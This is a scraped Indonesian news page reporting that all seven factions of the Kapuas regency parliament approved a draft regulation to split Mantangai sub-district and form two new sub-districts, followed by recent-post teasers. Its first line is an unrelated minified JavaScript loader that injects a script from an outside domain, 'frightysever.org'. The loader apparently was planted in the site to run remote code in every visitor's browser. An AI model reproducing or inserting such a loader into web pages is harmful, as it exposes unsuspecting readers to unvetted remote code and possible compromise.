(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KAPUAS

Semua Fraksi DPRD Kapuas Setujui Raperda Pemekaran Pembentukan Kecamatan


KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas. menunjukkan kekompakan dalam rapat paripurna, Selasa (1/7/2025) siang.

Semua fraksi secara bulat menyatakan persetujuan terhadap Rancangan Peraturan Daerah (Raperda) tentang pemekaran Kecamatan Mantangai serta pembentukan dua kecamatan baru yakni Kecamatan Muroi Mangkutup Jaya dan Kecamatan Lamunti Raya.

Pernyataan dukungan ini disampaikan dalam rapat paripurna agenda kedua yaitu penyampaian pendapat akhir fraksi-fraksi. Para juru bicara dari tujuh fraksi secara tegas menyetujui Raperda pemekaran Kecamatan Mantangai untuk segera disahkan menjadi produk hukum Peraturan Daerah (Perda).

Baca juga: Hadiri Rapat Paripurna Penyampaian Raperda Pemekaran Kecamatan Mantangai, Ini Kata Bupati Wiyatno

Tujuh fraksi yang menyampaikan pendapat akhir adalah Fraksi Golkar diwakili Rahmat Jainudin, Fraksi PDIP oleh Franco B Dehen, Fraksi NasDem oleh Eli Setiadi, Fraksi Gerindra oleh Kusmanto, Fraksi Partai Amanat Nasional oleh Indah Ayu Lestari, Fraksi PKB oleh Suprianto, dan Fraksi Nurani Bintang Demokrat Pembangunan Sejahtera diwakili Peniana.

“Kita telah mendengarkan pendapat akhir fraksi-fraksi DPRD terhadap Raperda pemekaran Kecamatan Mantangai dan pembentukan Kecamatan Muroi Mangkutup Jaya dan Kecamatan Lamunti Raya,” ujar Ketua DPRD, Ardiansah, setelah mendengarkan seluruh pandangan akhir dari tujuh fraksi.

Ketua DPRD Kapuas Ardiansah kembali menanyakan persetujuan kepada forum rapat paripurna, yang dengan serentak dijawab “setuju” oleh seluruh anggota dewan yang hadir.

Baca juga: Wali Kota Lisa Halaby Pimpin Rapat Koordinasi, Samakan Visi Misi Banjarbaru EMAS

Dengan persetujuan dari fraksi-fraksi ini, proses pembentukan Perda akan berlanjut ke tahapan berikutnya, yaitu Persetujuan Bersama antara DPRD dan Pemerintah Kabupaten Kapuas. Setelah itu, Raperda akan melalui evaluasi oleh Pemerintah Provinsi Kalimantan Tengah sebelum akhirnya dapat ditetapkan secara resmi menjadi Perda yang berlaku. (Kanalkalimantan.com/ags) 

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

8 menit ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

3 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

9 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

10 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

12 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

12 jam ago

This website uses cookies.